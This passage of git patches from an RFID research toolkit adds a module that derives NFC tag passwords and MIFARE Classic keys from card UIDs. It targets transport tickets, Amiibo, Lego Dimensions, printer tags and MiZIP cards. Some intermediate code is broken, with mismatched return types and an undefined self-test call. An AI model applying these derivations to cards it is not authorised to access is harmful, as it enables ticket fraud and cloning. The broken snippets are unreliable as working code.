CmdHIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { uint8_t *dest = BigBuf_get_addr(); - - //big enough to catch 2 sequences of largest format but don't exeed whats available in bigbuff. - size_t size = MIN(12800, BigBuf_max_traceLen()); //50 * 128 * 2; - + size_t size; int dummyIdx = 0; BigBuf_Clear_keep_EM(); @@ -1287,10 +1284,9 @@ void CmdAWIDdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) DoAcquisition_default(-1, true); // FSK demodulator - size = BigBuf_max_traceLen(); - //askdemod and manchester decode - if (size > 12800) size = 12800; //big enough to catch 2 sequences of largest format + size = MIN(12800, BigBuf_max_traceLen()); + //askdemod and manchester decode int idx = detectAWID(dest, &size, &dummyIdx); if (idx <= 0 || size != 96) continue; @@ -1378,9 +1374,9 @@ void CmdEM410xdemod(int findone, uint32_t *high, uint64_t *low, int ledcontrol) DoAcquisition_default(-1, true); - size = BigBuf_max_traceLen(); - //askdemod and manchester decode - if (size > 16385) size = 16385; //big enough to catch 2 sequences of largest format + size = MIN(16385, BigBuf_max_traceLen()); + + //askdemod and manchester decode int errCnt = askdemod(dest, &size, &clk, &invert, maxErr, 0, 1); WDT_HIT(); @@ -1443,11 +1439,9 @@ void CmdIOdemodFSK(int findone, uint32_t *high, uint32_t *low, int ledcontrol) { DoAcquisition_default(-1, true); + size = MIN(12000, BigBuf_max_traceLen()); + //fskdemod and get start index - size = BigBuf_max_traceLen(); - //askdemod and manchester decode - if (size > 12000) size = 12000; //big enough to catch 2 sequences of largest format - int idx = detectIOProx(dest, &size, &dummyIdx); if (idx < 0) continue; //valid tag found From 52d19766be6051e91bf14e210697b76f1d5987fe Mon Sep 17 00:00:00 2001 From: danshuk Date: Wed, 1 Jan 2020 22:28:37 +0000 Subject: [PATCH 213/418] update readme --- traces/README.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/traces/README.txt b/traces/README.txt index 63ebe18ee..0f89925a4 100644 --- a/traces/README.txt +++ b/traces/README.txt @@ -1,3 +1,4 @@ +pac-8E4C058E.pm3: PAC/Stanley 20204/21020 PAC8 tag (ID: 8E4C058E) em4102-clamshell.pm3: Samy's clamshell EM4102 tag (ID: 1f00d9b3a5) em4102-thin.pm3: Samy's thin credit-card style EM4102 tag (ID: 1a0041375d) EM4102-1.pm3: credit card style card EM4102 tag (ID: 010872e77c) From 1c98888ee5ea0de531f2c3cb8f7df37fff0db7fa Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 2 Jan 2020 11:42:57 +0100 Subject: [PATCH 214/418] Chg: key gen algo refactoring. This will help in next step when implementing new json key template formats --- common/generator.c | 301 +++++++++++++++++++++++++++++++++++++++++++++ common/generator.h | 48 ++++++++ 2 files changed, 349 insertions(+) create mode 100644 common/generator.c create mode 100644 common/generator.h diff --git a/common/generator.c b/common/generator.c new file mode 100644 index 000000000..060f126ca --- /dev/null +++ b/common/generator.c @@ -0,0 +1,301 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2019 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Generator commands +//----------------------------------------------------------------------------- +#include "generator.h" + +#include +#include +#include +#include +#include +#include +#include "commonutil.h" +#include "util.h" +#include "pm3_cmd.h" +#include "ui.h" + +// Implemetation tips: +// For each implementation of the algos, I recommend adding a self test for easy "simple unit" tests when Travic CI / Appveyour runs. +// See special note for MFC based algos. + +//------------------------------------ +// MFU/NTAG PWD/PACK generation stuff +// Italian transport system +// Amiibo +// Lego Dimension +// XYZ 3D printing +// Vinglock +//------------------------------------ +const uint32_t c_D[] = { + 0x6D835AFC, 0x7D15CD97, 0x0942B409, 0x32F9C923, 0xA811FB02, 0x64F121E8, + 0xD1CC8B4E, 0xE8873E6F, 0x61399BBB, 0xF1B91926, 0xAC661520, 0xA21A31C9, + 0xD424808D, 0xFE118E07, 0xD18E728D, 0xABAC9E17, 0x18066433, 0x00E18E79, + 0x65A77305, 0x5AE9E297, 0x11FC628C, 0x7BB3431F, 0x942A8308, 0xB2F8FD20, + 0x5728B869, 0x30726D5A +}; + +static void transform_D(uint8_t *ru) { + //Transform + uint8_t i; + uint8_t p = 0; + uint32_t v1 = ((ru[3] << 24) | (ru[2] << 16) | (ru[1] << 8) | ru[0]) + c_D[p++]; + uint32_t v2 = ((ru[7] << 24) | (ru[6] << 16) | (ru[5] << 8) | ru[4]) + c_D[p++]; + + for (i = 0; i < 12; i += 2) { + uint32_t xor1 = v1 ^ v2; + uint32_t t1 = ROTL(xor1, v2 & 0x1F) + c_D[p++]; + uint32_t xor2 = v2 ^ t1; + uint32_t t2 = ROTL(xor2, t1 & 0x1F) + c_D[p++]; + uint32_t xor3 = t1 ^ t2; + uint32_t xor4 = t2 ^ v1; + v1 = ROTL(xor3, t2 & 0x1F) + c_D[p++]; + v2 = ROTL(xor4, v1 & 0x1F) + c_D[p++]; + } + + //Re-use ru + ru[0] = v1 & 0xFF; + ru[1] = (v1 >> 8) & 0xFF; + ru[2] = (v1 >> 16) & 0xFF; + ru[3] = (v1 >> 24) & 0xFF; + ru[4] = v2 & 0xFF; + ru[5] = (v2 >> 8) & 0xFF; + ru[6] = (v2 >> 16) & 0xFF; + ru[7] = (v2 >> 24) & 0xFF; +} + +// Transport system (IT) pwd generation algo nickname A. +uint32_t ul_ev1_pwdgenA(uint8_t *uid) { + + uint8_t pos = (uid[3] ^ uid[4] ^ uid[5] ^ uid[6]) % 32; + + uint32_t xortable[] = { + 0x4f2711c1, 0x07D7BB83, 0x9636EF07, 0xB5F4460E, 0xF271141C, 0x7D7BB038, 0x636EF871, 0x5F4468E3, + 0x271149C7, 0xD7BB0B8F, 0x36EF8F1E, 0xF446863D, 0x7114947A, 0x7BB0B0F5, 0x6EF8F9EB, 0x44686BD7, + 0x11494fAF, 0xBB0B075F, 0xEF8F96BE, 0x4686B57C, 0x1494F2F9, 0xB0B07DF3, 0xF8F963E6, 0x686B5FCC, + 0x494F2799, 0x0B07D733, 0x8F963667, 0x86B5F4CE, 0x94F2719C, 0xB07D7B38, 0xF9636E70, 0x6B5F44E0 + }; + + uint8_t entry[] = {0x00, 0x00, 0x00, 0x00}; + uint8_t pwd[] = {0x00, 0x00, 0x00, 0x00}; + + num_to_bytes(xortable[pos], 4, entry); + + pwd[0] = entry[0] ^ uid[1] ^ uid[2] ^ uid[3]; + pwd[1] = entry[1] ^ uid[0] ^ uid[2] ^ uid[4]; + pwd[2] = entry[2] ^ uid[0] ^ uid[1] ^ uid[5]; + pwd[3] = entry[3] ^ uid[6]; + + return (uint32_t)bytes_to_num(pwd, 4); +} + +// Amiibo pwd generation algo nickname B. (very simple) +uint32_t ul_ev1_pwdgenB(uint8_t *uid) { + + uint8_t pwd[] = {0x00, 0x00, 0x00, 0x00}; + + pwd[0] = uid[1] ^ uid[3] ^ 0xAA; + pwd[1] = uid[2] ^ uid[4] ^ 0x55; + pwd[2] = uid[3] ^ uid[5] ^ 0xAA; + pwd[3] = uid[4] ^ uid[6] ^ 0x55; + return (uint32_t)bytes_to_num(pwd, 4); +} + +// Lego Dimension pwd generation algo nickname C. +uint32_t ul_ev1_pwdgenC(uint8_t *uid) { + uint32_t pwd = 0; + uint8_t base[] = { + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x28, + 0x63, 0x29, 0x20, 0x43, 0x6f, 0x70, 0x79, 0x72, + 0x69, 0x67, 0x68, 0x74, 0x20, 0x4c, 0x45, 0x47, + 0x4f, 0x20, 0x32, 0x30, 0x31, 0x34, 0xaa, 0xaa + }; + + memcpy(base, uid, 7); + + for (int i = 0; i < 32; i += 4) { + uint32_t b = *(uint32_t *)(base + i); + pwd = b + ROTR(pwd, 25) + ROTR(pwd, 10) - pwd; + } + return BSWAP_32(pwd); +} + +// XYZ 3d printing pwd generation algo nickname D. +uint32_t ul_ev1_pwdgenD(uint8_t *uid) { + uint8_t i; + uint8_t r = (uid[1] + uid[3] + uid[5]) & 7; // rotation offset + uint8_t ru[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; // rotated UID + for (i = 0; i < 7; i++) + ru[(i + r) & 7] = uid[i]; + + transform_D(ru); + + // calc key + uint32_t pwd = 0; + r = (ru[0] + ru[2] + ru[4] + ru[6]) & 3; // offset + for (i = 0; i < 4; i++) + pwd = ru[i + r] + (pwd << 8); + + return BSWAP_32(pwd); +} + +// pack generation for algo 1-3 +uint16_t ul_ev1_packgenA(uint8_t *uid) { + uint16_t pack = (uid[0] ^ uid[1] ^ uid[2]) << 8 | (uid[2] ^ 8); + return pack; +} +uint16_t ul_ev1_packgenB(uint8_t *uid) { + return 0x8080; +} +uint16_t ul_ev1_packgenC(uint8_t *uid) { + return 0xaa55; +} +uint16_t ul_ev1_packgenD(uint8_t *uid) { + uint8_t i; + //Rotate + uint8_t r = (uid[2] + uid[5]) & 7; //Rotation offset + uint8_t ru[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; //Rotated UID + for (i = 0; i < 7; i++) + ru[(i + r) & 7] = uid[i]; + + transform_D(ru); + + //Calc pack + uint32_t p = 0; + for (i = 0; i < 8; i++) + p += ru[i] * 13; + + p ^= 0x5555; + return BSWAP_16(p & 0xFFFF); +} + +//------------------------------------ +// MFC key generation stuff +// Each algo implementation should offer two key generation functions. +// 1. function that returns all keys +// 2. function that returns one key, target sector | block +//------------------------------------ + +//------------------------------------ +// MFC keyfile generation stuff +//------------------------------------ +// Vinglock +void mfc_algo_ving_one(uint8_t *uid, uint8_t sector) { + return 0; +} +void mfc_algo_ving_all(uint8_t *uid, uint8_t *keys) {} + +// Yale Doorman +void mfc_algo_yale_one(uint8_t *uid, uint8_t sector) { + return 0; +} +void mfc_algo_yale_all(uint8_t *uid, uint8_t *keys) {} + +// Saflok / Maid UID to key. +uint64_t mfc_algo_saflok_one(uint8_t *uid, uint8_t sector) { + return 0; +} +void mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys) { +} + +// MIZIP algo +void mfc_algo_mizip_one(uint8_t *uid, uint8_t sector) { + return 0; +} +// returns all Mifare Mini (MFM) 10 keys. +// keys must have 5*2*6 = 60bytes space +void mfc_algo_mizip_all(uint8_t *uid, uint8_t *keys) { + + uint64_t xor_tbl[] = { + 0x09125a2589e5ULL, 0xF12C8453D821ULL, + 0xAB75C937922FULL, 0x73E799FE3241ULL, + 0xE27241AF2C09ULL, 0xAA4D137656AEULL, + 0x317AB72F4490ULL, 0xB01327272DFDULL + }; + + // A + num_to_bytes(0xA0A1A2A3A4A5ULL, 6, keys); + for (uint8_t i = 0; i < 4; i++) { + uint64_t a = + (uint64_t)(uid[0] ^ xor_tbl[i]) << 40 | + (uint64_t)(uid[1] ^ xor_tbl[i]) << 32 | + (uint64_t)(uid[2] ^ xor_tbl[i]) << 24 | + (uint64_t)(uid[3] ^ xor_tbl[i]) << 16 | + (uint64_t)(uid[1] ^ xor_tbl[i]) << 8 | + (uint64_t)(uid[2] ^ xor_tbl[i]) + ; + num_to_bytes(a, 6, keys + (1 * i * 6)); + } + + // B + num_to_bytes(0xB4C132439eefULL, 6, keys + (5 * 6)); + for (uint8_t i = 0; i < 4; i++) { + uint64_t b = + (uint64_t)(uid[2] ^ xor_tbl[i + 1]) << 40 | + (uint64_t)(uid[3] ^ xor_tbl[i + 1]) << 32 | + (uint64_t)(uid[0] ^ xor_tbl[i + 1]) << 24 | + (uint64_t)(uid[1] ^ xor_tbl[i + 1]) << 16 | + (uint64_t)(uid[2] ^ xor_tbl[i + 1]) << 8 | + (uint64_t)(uid[3] ^ xor_tbl[i + 1]) + ; + num_to_bytes(b, 6, keys + 30 + (1 * i * 6)); + } +} + +// Disney Infinity algo +void mfc_algo_di_one(uint8_t *uid, uint8_t sector) { + return 0; +} +void mfc_algo_di_all(uint8_t *uid, uint8_t *keys) {} + +// Skylanders +void mfc_algo_sky_one(uint8_t *uid, uint8_t sector) { + return 0; +} +void mfc_algo_sky_all(uint8_t *uid, uint8_t *keys) {} + + +//------------------------------------ +// Self tests +//------------------------------------ +int generator_selftest() { + + PrintAndLogEx(SUCCESS, "Generators selftest"); + PrintAndLogEx(SUCCESS, "-------------------"); + + bool success; + + uint8_t uid1[] = {0x04, 0x11, 0x12, 0x11, 0x12, 0x11, 0x10}; + uint32_t pwd1 = ul_ev1_pwdgenA(uid1); + success = (pwd1 == 0x8432EB17); + PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %08X | %s", sprint_hex(uid1, 7), pwd1, success ? "OK" : "->8432EB17<-"); + + uint8_t uid2[] = {0x04, 0x1f, 0x98, 0xea, 0x1e, 0x3e, 0x81}; + uint32_t pwd2 = ul_ev1_pwdgenB(uid2); + success = (pwd2 == 0x5fd37eca); + PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %08X | %s", sprint_hex(uid2, 7), pwd2, success ? "OK" : "->5fd37eca<--"); + + uint8_t uid3[] = {0x04, 0x62, 0xB6, 0x8A, 0xB4, 0x42, 0x80}; + uint32_t pwd3 = ul_ev1_pwdgenC(uid3); + success = (pwd3 == 0x5a349515); + PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %08X | %s", sprint_hex(uid3, 7), pwd3, success ? "OK" : "->5a349515<--"); + + uint8_t uid4[] = {0x04, 0xC5, 0xDF, 0x4A, 0x6D, 0x51, 0x80}; + uint32_t pwd4 = ul_ev1_pwdgenD(uid4); + success = (pwd4 == 0x72B1EC61); + PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %08X | %s", sprint_hex(uid4, 7), pwd4, success ? "OK" : "->72B1EC61<--"); + + uint8_t uid5[] = {0x11, 0x22, 0x33, 0x44}; + uint64_t key1 = mfc_algo_a(uid5); + success = (key1 == 0xD1E2AA68E39A); + PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %"PRIx64" | %s", sprint_hex(uid5, 4), key1, success ? "OK" : "->D1E2AA68E39A<--"); + + PrintAndLogEx(SUCCESS, "-------------------"); + return PM3_SUCCESS; +} + diff --git a/common/generator.h b/common/generator.h new file mode 100644 index 000000000..3ab678b73 --- /dev/null +++ b/common/generator.h @@ -0,0 +1,48 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2019 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Generator commands +//----------------------------------------------------------------------------- + +#ifndef GENERATOR_H__ +#define GENERATOR_H__ + +#include "common.h" + +uint32_t ul_ev1_pwdgenA(uint8_t *uid); +uint32_t ul_ev1_pwdgenB(uint8_t *uid); +uint32_t ul_ev1_pwdgenC(uint8_t *uid); +uint32_t ul_ev1_pwdgenD(uint8_t *uid); + +uint16_t ul_ev1_packgenA(uint8_t *uid); +uint16_t ul_ev1_packgenB(uint8_t *uid); +uint16_t ul_ev1_packgenC(uint8_t *uid); +uint16_t ul_ev1_packgenD(uint8_t *uid); + +uint64_t mfc_algo_ving_one(uint8_t *uid, uint8_t sector); +void mfc_algo_ving_all(uint8_t *uid, uint8_t *keys); + +uint64_t mfc_algo_yale_one(uint8_t *uid, uint8_t sector); +void mfc_algo_yale_all(uint8_t *uid, uint8_t *keys); + +uint64_t mfc_algo_saflok_one(uint8_t *uid, uint8_t sector); +void mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys); + +uint64_t mfc_algo_saflok_one(uint8_t *uid, uint8_t sector); +void mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys); + +uint64_t mfc_algo_mizip_one(uint8_t *uid, uint8_t sector); +void mfc_algo_mizip_all(uint8_t *uid, uint8_t *keys); + +uint64_t mfc_algo_di_one(uint8_t *uid, uint8_t sector); +void mfc_algo_di_all(uint8_t *uid, uint8_t *keys); + +uint64_t mfc_algo_sky_one(uint8_t *uid, uint8_t sector); +void mfc_algo_sky_all(uint8_t *uid, uint8_t *keys); + +int generator_selftest(); +#endif From 01f215a924084083912777ad326b7d7e8a78acee Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 2 Jan 2020 15:29:15 +0100 Subject: [PATCH 215/418] Chg: hooked up generator --- client/Makefile | 1 + client/cmdhfmfu.c | 150 ++------------------------------------------- common/generator.c | 74 +++++++++++++++------- common/generator.h | 28 ++++----- 4 files changed, 70 insertions(+), 183 deletions(-) diff --git a/client/Makefile b/client/Makefile index 891a8b1e5..483856b8f 100644 --- a/client/Makefile +++ b/client/Makefile @@ -159,6 +159,7 @@ CMDSRCS = crapto1/crapto1.c \ legic_prng.c \ iso15693tools.c \ prng.c \ + generator.c \ graph.c \ cmddata.c \ lfdemod.c \ diff --git a/client/cmdhfmfu.c b/client/cmdhfmfu.c index 7d2b8cfc6..b761494f5 100644 --- a/client/cmdhfmfu.c +++ b/client/cmdhfmfu.c @@ -20,6 +20,7 @@ #include "comms.h" #include "fileutils.h" #include "protocols.h" +#include "generator.h" #define MAX_UL_BLOCKS 0x0F #define MAX_ULC_BLOCKS 0x2B @@ -283,151 +284,6 @@ uint8_t UL_MEMORY_ARRAY[ARRAYLEN(UL_TYPES_ARRAY)] = { MAX_ULEV1a_BLOCKS, MAX_NTAG_213, MAX_NTAG_216, MAX_UL_NANO_40, MAX_NTAG_I2C_1K }; -//------------------------------------ -// Pwd & Pack generation Stuff -//------------------------------------ -const uint32_t c_D[] = { - 0x6D835AFC, 0x7D15CD97, 0x0942B409, 0x32F9C923, 0xA811FB02, 0x64F121E8, - 0xD1CC8B4E, 0xE8873E6F, 0x61399BBB, 0xF1B91926, 0xAC661520, 0xA21A31C9, - 0xD424808D, 0xFE118E07, 0xD18E728D, 0xABAC9E17, 0x18066433, 0x00E18E79, - 0x65A77305, 0x5AE9E297, 0x11FC628C, 0x7BB3431F, 0x942A8308, 0xB2F8FD20, - 0x5728B869, 0x30726D5A -}; - -static void transform_D(uint8_t *ru) { - //Transform - uint8_t i; - uint8_t p = 0; - uint32_t v1 = ((ru[3] << 24) | (ru[2] << 16) | (ru[1] << 8) | ru[0]) + c_D[p++]; - uint32_t v2 = ((ru[7] << 24) | (ru[6] << 16) | (ru[5] << 8) | ru[4]) + c_D[p++]; - for (i = 0; i < 12; i += 2) { - - uint32_t xor1 = v1 ^ v2; - uint32_t t1 = ROTL(xor1, v2 & 0x1F) + c_D[p++]; - uint32_t xor2 = v2 ^ t1; - uint32_t t2 = ROTL(xor2, t1 & 0x1F) + c_D[p++]; - uint32_t xor3 = t1 ^ t2; - uint32_t xor4 = t2 ^ v1; - v1 = ROTL(xor3, t2 & 0x1F) + c_D[p++]; - v2 = ROTL(xor4, v1 & 0x1F) + c_D[p++]; - } - - //Re-use ru - ru[0] = v1 & 0xFF; - ru[1] = (v1 >> 8) & 0xFF; - ru[2] = (v1 >> 16) & 0xFF; - ru[3] = (v1 >> 24) & 0xFF; - ru[4] = v2 & 0xFF; - ru[5] = (v2 >> 8) & 0xFF; - ru[6] = (v2 >> 16) & 0xFF; - ru[7] = (v2 >> 24) & 0xFF; -} - -// Certain pwd generation algo nickname A. -uint32_t ul_ev1_pwdgenA(uint8_t *uid) { - - uint8_t pos = (uid[3] ^ uid[4] ^ uid[5] ^ uid[6]) % 32; - - uint32_t xortable[] = { - 0x4f2711c1, 0x07D7BB83, 0x9636EF07, 0xB5F4460E, 0xF271141C, 0x7D7BB038, 0x636EF871, 0x5F4468E3, - 0x271149C7, 0xD7BB0B8F, 0x36EF8F1E, 0xF446863D, 0x7114947A, 0x7BB0B0F5, 0x6EF8F9EB, 0x44686BD7, - 0x11494fAF, 0xBB0B075F, 0xEF8F96BE, 0x4686B57C, 0x1494F2F9, 0xB0B07DF3, 0xF8F963E6, 0x686B5FCC, - 0x494F2799, 0x0B07D733, 0x8F963667, 0x86B5F4CE, 0x94F2719C, 0xB07D7B38, 0xF9636E70, 0x6B5F44E0 - }; - - uint8_t entry[] = {0x00, 0x00, 0x00, 0x00}; - uint8_t pwd[] = {0x00, 0x00, 0x00, 0x00}; - - num_to_bytes(xortable[pos], 4, entry); - - pwd[0] = entry[0] ^ uid[1] ^ uid[2] ^ uid[3]; - pwd[1] = entry[1] ^ uid[0] ^ uid[2] ^ uid[4]; - pwd[2] = entry[2] ^ uid[0] ^ uid[1] ^ uid[5]; - pwd[3] = entry[3] ^ uid[6]; - - return (uint32_t)bytes_to_num(pwd, 4); -} - -// Certain pwd generation algo nickname B. (very simple) -static uint32_t ul_ev1_pwdgenB(uint8_t *uid) { - - uint8_t pwd[] = {0x00, 0x00, 0x00, 0x00}; - - pwd[0] = uid[1] ^ uid[3] ^ 0xAA; - pwd[1] = uid[2] ^ uid[4] ^ 0x55; - pwd[2] = uid[3] ^ uid[5] ^ 0xAA; - pwd[3] = uid[4] ^ uid[6] ^ 0x55; - return (uint32_t)bytes_to_num(pwd, 4); -} - -// Certain pwd generation algo nickname C. -uint32_t ul_ev1_pwdgenC(uint8_t *uid) { - uint32_t pwd = 0; - uint8_t base[] = { - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x28, - 0x63, 0x29, 0x20, 0x43, 0x6f, 0x70, 0x79, 0x72, - 0x69, 0x67, 0x68, 0x74, 0x20, 0x4c, 0x45, 0x47, - 0x4f, 0x20, 0x32, 0x30, 0x31, 0x34, 0xaa, 0xaa - }; - - memcpy(base, uid, 7); - - for (int i = 0; i < 32; i += 4) { - uint32_t b = *(uint32_t *)(base + i); - pwd = b + ROTR(pwd, 25) + ROTR(pwd, 10) - pwd; - } - return BSWAP_32(pwd); -} -// Certain pwd generation algo nickname D. -// a.k.a xzy -uint32_t ul_ev1_pwdgenD(uint8_t *uid) { - uint8_t i; - //Rotate - uint8_t r = (uid[1] + uid[3] + uid[5]) & 7; //Rotation offset - uint8_t ru[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; //Rotated UID - for (i = 0; i < 7; i++) - ru[(i + r) & 7] = uid[i]; - - transform_D(ru); - - //Calc key - uint32_t pwd = 0; //Key as int - r = (ru[0] + ru[2] + ru[4] + ru[6]) & 3; //Offset - for (i = 0; i < 4; i++) - pwd = ru[i + r] + (pwd << 8); - - return BSWAP_32(pwd); -} -// pack generation for algo 1-3 -uint16_t ul_ev1_packgenA(uint8_t *uid) { - uint16_t pack = (uid[0] ^ uid[1] ^ uid[2]) << 8 | (uid[2] ^ 8); - return pack; -} -uint16_t ul_ev1_packgenB(uint8_t *uid) { - return 0x8080; -} -uint16_t ul_ev1_packgenC(uint8_t *uid) { - return 0xaa55; -} -uint16_t ul_ev1_packgenD(uint8_t *uid) { - uint8_t i; - //Rotate - uint8_t r = (uid[2] + uid[5]) & 7; //Rotation offset - uint8_t ru[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; //Rotated UID - for (i = 0; i < 7; i++) - ru[(i + r) & 7] = uid[i]; - - transform_D(ru); - - //Calc pack - uint32_t p = 0; - for (i = 0; i < 8; i++) - p += ru[i] * 13; - - p ^= 0x5555; - return BSWAP_16(p & 0xFFFF); -} - static int ul_ev1_pwdgen_selftest() { uint8_t uid1[] = {0x04, 0x11, 0x12, 0x11, 0x12, 0x11, 0x10}; @@ -2613,11 +2469,13 @@ static int CmdHF14AMfUGenDiverseKeys(const char *Cmd) { PrintAndLogEx(WARNING, "iso14443a card select failed"); return PM3_ESOFT; } +/* if (card.uidlen != 4) { PrintAndLogEx(WARNING, "Wrong sized UID, expected 4bytes got %d", card.uidlen); return PM3_ESOFT; } - memcpy(uid, card.uid, sizeof(uid)); +*/ + memcpy(uid, card.uid, card.uidlen); } else { if (param_gethex(Cmd, 0, uid, 8)) return usage_hf_mfu_gendiverse(); } diff --git a/common/generator.c b/common/generator.c index 060f126ca..f2bf33626 100644 --- a/common/generator.c +++ b/common/generator.c @@ -185,32 +185,49 @@ uint16_t ul_ev1_packgenD(uint8_t *uid) { // MFC keyfile generation stuff //------------------------------------ // Vinglock -void mfc_algo_ving_one(uint8_t *uid, uint8_t sector) { - return 0; +int mfc_algo_ving_one(uint8_t *uid, uint8_t sector, uint64_t *key) { + if (sector > 15) return PM3_EINVARG; + if (key == NULL) return PM3_EINVARG; + return PM3_SUCCESS; +} +int mfc_algo_ving_all(uint8_t *uid, uint8_t *keys) { + if (keys == NULL) return PM3_EINVARG; + return PM3_SUCCESS; } -void mfc_algo_ving_all(uint8_t *uid, uint8_t *keys) {} // Yale Doorman -void mfc_algo_yale_one(uint8_t *uid, uint8_t sector) { - return 0; +int mfc_algo_yale_one(uint8_t *uid, uint8_t sector, uint64_t *key) { + if (sector > 15) return PM3_EINVARG; + if (key == NULL) return PM3_EINVARG; + return PM3_SUCCESS; +} +int mfc_algo_yale_all(uint8_t *uid, uint8_t *keys) { + if (keys == NULL) return PM3_EINVARG; + return PM3_SUCCESS; } -void mfc_algo_yale_all(uint8_t *uid, uint8_t *keys) {} // Saflok / Maid UID to key. -uint64_t mfc_algo_saflok_one(uint8_t *uid, uint8_t sector) { - return 0; +int mfc_algo_saflok_one(uint8_t *uid, uint8_t sector, uint64_t *key) { + if (sector > 15) return PM3_EINVARG; + if (key == NULL) return PM3_EINVARG; + return PM3_SUCCESS; } -void mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys) { +int mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys) { + if (keys == NULL) return PM3_EINVARG; + return PM3_SUCCESS; } // MIZIP algo -void mfc_algo_mizip_one(uint8_t *uid, uint8_t sector) { - return 0; +int mfc_algo_mizip_one(uint8_t *uid, uint8_t sector, uint64_t *key) { + if (sector > 4) return PM3_EINVARG; + if (key == NULL) return PM3_EINVARG; + return PM3_SUCCESS; } // returns all Mifare Mini (MFM) 10 keys. // keys must have 5*2*6 = 60bytes space -void mfc_algo_mizip_all(uint8_t *uid, uint8_t *keys) { - +int mfc_algo_mizip_all(uint8_t *uid, uint8_t *keys) { + if (keys == NULL) return PM3_EINVARG; + uint64_t xor_tbl[] = { 0x09125a2589e5ULL, 0xF12C8453D821ULL, 0xAB75C937922FULL, 0x73E799FE3241ULL, @@ -245,19 +262,30 @@ void mfc_algo_mizip_all(uint8_t *uid, uint8_t *keys) { ; num_to_bytes(b, 6, keys + 30 + (1 * i * 6)); } + return PM3_SUCCESS; } // Disney Infinity algo -void mfc_algo_di_one(uint8_t *uid, uint8_t sector) { - return 0; +int mfc_algo_di_one(uint8_t *uid, uint8_t sector, uint64_t *key) { + if (sector > 15) return PM3_EINVARG; + if (key == NULL) return PM3_EINVARG; + return PM3_SUCCESS; +} +int mfc_algo_di_all(uint8_t *uid, uint8_t *keys) { + if (keys == NULL) return PM3_EINVARG; + return PM3_SUCCESS; } -void mfc_algo_di_all(uint8_t *uid, uint8_t *keys) {} // Skylanders -void mfc_algo_sky_one(uint8_t *uid, uint8_t sector) { - return 0; +int mfc_algo_sky_one(uint8_t *uid, uint8_t sector, uint64_t *key) { + if (sector > 15) return PM3_EINVARG; + if (key == NULL) return PM3_EINVARG; + return PM3_SUCCESS; +} +int mfc_algo_sky_all(uint8_t *uid, uint8_t *keys) { + if (keys == NULL) return PM3_EINVARG; + return PM3_SUCCESS; } -void mfc_algo_sky_all(uint8_t *uid, uint8_t *keys) {} //------------------------------------ @@ -290,10 +318,10 @@ int generator_selftest() { success = (pwd4 == 0x72B1EC61); PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %08X | %s", sprint_hex(uid4, 7), pwd4, success ? "OK" : "->72B1EC61<--"); - uint8_t uid5[] = {0x11, 0x22, 0x33, 0x44}; - uint64_t key1 = mfc_algo_a(uid5); - success = (key1 == 0xD1E2AA68E39A); - PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %"PRIx64" | %s", sprint_hex(uid5, 4), key1, success ? "OK" : "->D1E2AA68E39A<--"); +// uint8_t uid5[] = {0x11, 0x22, 0x33, 0x44}; +// uint64_t key1 = mfc_algo_a(uid5); +// success = (key1 == 0xD1E2AA68E39A); +// PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %"PRIx64" | %s", sprint_hex(uid5, 4), key1, success ? "OK" : "->D1E2AA68E39A<--"); PrintAndLogEx(SUCCESS, "-------------------"); return PM3_SUCCESS; diff --git a/common/generator.h b/common/generator.h index 3ab678b73..8643c0de9 100644 --- a/common/generator.h +++ b/common/generator.h @@ -23,26 +23,26 @@ uint16_t ul_ev1_packgenB(uint8_t *uid); uint16_t ul_ev1_packgenC(uint8_t *uid); uint16_t ul_ev1_packgenD(uint8_t *uid); -uint64_t mfc_algo_ving_one(uint8_t *uid, uint8_t sector); -void mfc_algo_ving_all(uint8_t *uid, uint8_t *keys); +int mfc_algo_ving_one(uint8_t *uid, uint8_t sector, uint64_t *key); +int mfc_algo_ving_all(uint8_t *uid, uint8_t *keys); -uint64_t mfc_algo_yale_one(uint8_t *uid, uint8_t sector); -void mfc_algo_yale_all(uint8_t *uid, uint8_t *keys); +int mfc_algo_yale_one(uint8_t *uid, uint8_t sector, uint64_t *key); +int mfc_algo_yale_all(uint8_t *uid, uint8_t *keys); -uint64_t mfc_algo_saflok_one(uint8_t *uid, uint8_t sector); -void mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys); +int mfc_algo_saflok_one(uint8_t *uid, uint8_t sector, uint64_t *key); +int mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys); -uint64_t mfc_algo_saflok_one(uint8_t *uid, uint8_t sector); -void mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys); +int mfc_algo_saflok_one(uint8_t *uid, uint8_t sector, uint64_t 